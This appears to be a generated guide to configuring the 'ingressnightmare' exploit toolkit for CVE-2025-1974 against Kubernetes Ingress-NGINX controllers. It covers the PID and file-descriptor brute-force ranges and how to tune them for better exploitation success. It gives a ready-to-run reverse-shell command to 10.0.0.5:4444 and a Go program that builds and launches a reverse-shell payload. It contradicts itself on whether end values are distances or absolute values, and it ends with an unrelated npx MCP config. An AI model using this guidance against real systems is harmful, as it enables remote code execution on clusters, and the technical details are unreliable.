How to Configure Custom PID and FD Ranges in ingressnightmare

Configure custom PID and FD ranges in ingressnightmare using the -S, -E, -s, and -e flags to define the brute-force window for process and file descriptor discovery, with defaults scanning PIDs 5-45 and FDs 3-29.

The ingressnightmare exploit toolkit targets CVE-2025-1974 by brute-forcing /proc/<pid>/fd/<fd> paths to inject malicious shared objects into the Ingress controller. As implemented in the esonhugh/ingressnightmare-cve-2025-1974-exps repository, the tool provides four command-line flags in main.go that allow precise control over the PID and file descriptor guessing ranges to match specific target environments.

Command-Line Flags for PID and FD Ranges

The ingressnightmare CLI exposes four integer flags that define the start and distance (range size) for both PID and FD brute-forcing. These flags are registered in main.go at lines 103-108:

ExpCmd.Flags().IntVarP(&Opts.PidRangeStart, "pid-range-start", "S", 5, "pid range start")
ExpCmd.Flags().IntVarP(&Opts.PidRangeEnd,   "pid-range-end",   "E", 40, "distance to pid range end")
ExpCmd.Flags().IntVarP(&Opts.FdRangeStart,  "fd-range-start",  "s", 3, "fd range start")
ExpCmd.Flags().IntVarP(&Opts.FdRangeEnd,    "fd-range-end",    "e", 26, "distance fd range end")

• --pid-range-start (-S): The first PID number to attempt (default: 5).
• --pid-range-end (-E): The distance from the start, creating an upper bound of start + end (default: 40, resulting in a max PID of 45).
• --fd-range-start (-s): The first file descriptor number to attempt (default: 3).
• --fd-range-end (-e): The distance from the FD start, creating an upper bound of start + end (default: 26, resulting in a max FD of 29).

How Range Values Translate to Exploit Attempts

After flag parsing in main.go (lines 232-236), the values are passed directly to the core exploit routine:

nginx_ingress.Exploit(
    Opts.IngressWebhookUrl, Opts.UploadUrl, payload,
    Opts.FdRangeStart, Opts.PidRangeStart,
    Opts.FdRangeEnd,   Opts.PidRangeEnd,
)

Inside nginx-ingress/exploit.go, the Exploit function treats the End parameters as distances rather than absolute values. The tool iterates from PidRangeStart to PidRangeStart + PidRangeEnd and from FdRangeStart to FdRangeStart + FdRangeEnd, constructing paths like ../../../../../../../proc/10/fd/5 for each combination. Each iteration sends an HTTP request to the Admission controller attempting to load the malicious shared object through the guessed file descriptor path.

Optimization Strategies for Different Environments

Adjusting the default ranges improves exploitation speed and success rates based on target characteristics:

• Minimal container environments: If the target pod runs as PID 1 with limited file descriptors, narrow the ranges with -S 1 -E 5 -s 0 -e 10 to reduce attack surface and execution time.
• High-traffic clusters: Under heavy load, Ingress controllers may spawn workers with higher PIDs; expand coverage using -S 5 -E 200 to scan PIDs 5-205.
• Custom container runtimes: Some runtimes allocate additional file descriptors for networking or logging; increase the FD distance with -e 50 or -e 100 to ensure the target socket is found.

Implementation Examples

Custom Range CLI Execution

Execute a reverse shell exploit scanning PIDs 10-160 and FDs 5-55:

ingressnightmare \
  --mode r \
  --reverse-shell-ip 10.0.0.5 \
  --reverse-shell-port 4444 \
  -S 10 \
  -E 150 \
  -s 5 \
  -e 50

Library Integration with Custom Ranges

When embedding ingressnightmare as a Go library, pass absolute start and end values directly to nginx_ingress.Exploit:

package main

import (
    "ingressnightmare/nginx-ingress"
)

func main() {
    payload := nginx_ingress.NewReverseShellPayload("10.0.0.5", "4444")
    
    // Define ranges: FDs 5-35, PIDs 20-120
    fdStart, fdEnd := 5, 35
    pidStart, pidEnd := 20, 120
    
    nginx_ingress.Exploit(
        "https://ingress-nginx-controller-admission.svc:443",
        "http://ingress-nginx-controller.svc:80",
        payload,
        fdStart, pidStart, fdEnd, pidEnd,
    )
}

Environment Variable Wrapper

Since ingressnightmare does not natively read environment variables, create a wrapper script to set defaults:

#!/usr/bin/env bash
export PID_START=${PID_START:-5}
export PID_DIST=${PID_DIST:-40}
export FD_START=${FD_START:-3}
export FD_DIST=${FD_DIST:-26}

exec ingressnightmare \
  -S "$PID_START" -E "$PID_DIST" \
  -s "$FD_START" -e "$FD_DIST" "$@"

Summary

• Four flags control the brute-force scope: -S and -E for PID ranges, -s and -e for FD ranges, defined in main.go.
• Distance-based calculation: The End flags represent distance from start, not absolute values, creating ranges of start to start + distance.
• Performance trade-offs: Wider ranges increase success probability but generate more HTTP requests and extend execution time.
• Library flexibility: When using nginx_ingress.Exploit directly, provide absolute start and end values for both FD and PID parameters.

Frequently Asked Questions

What do the PID and FD range flags control in ingressnightmare?

The flags control the brute-force window for guessing which /proc/<pid>/fd/<fd> path the target Ingress controller will use when loading shared objects. The -S and -E flags define the process ID search space, while -s and -e define the file descriptor search space, as implemented in the esonhugh/ingressnightmare-cve-2025-1974-exps source code.

Why does ingressnightmare use distance instead of absolute end values?

The CLI flags --pid-range-end and --fd-range-end accept distance values rather than absolute numbers to simplify incremental adjustments. This design allows users to think in terms of "scan 40 PIDs starting from 5" rather than calculating "end at 45", though the underlying nginx_ingress.Exploit function in nginx-ingress/exploit.go receives absolute end values after the calculation.

How do custom ranges affect exploitation speed?

Each additional PID or FD combination generates one HTTP request to the Admission controller. Expanding the PID range by 100 values and the FD range by 50 values multiplies the total request count by 5,000, significantly increasing both network traffic and total execution time. Conversely, narrowing ranges based on prior reconnaissance can reduce exploitation time from minutes to seconds.

Can I configure PID and FD ranges via environment variables?

No, ingressnightmare does not natively support environment variables for these parameters. You must use the command-line flags defined in main.go or create a wrapper script that reads environment variables and maps them to the appropriate -S, -E, -s, and -e arguments before executing the binary.

{
  "mcpServers": {
    "instagit": {
      "command": "npx",
      "args": ["-y", "instagit@latest"]
    }
  }
}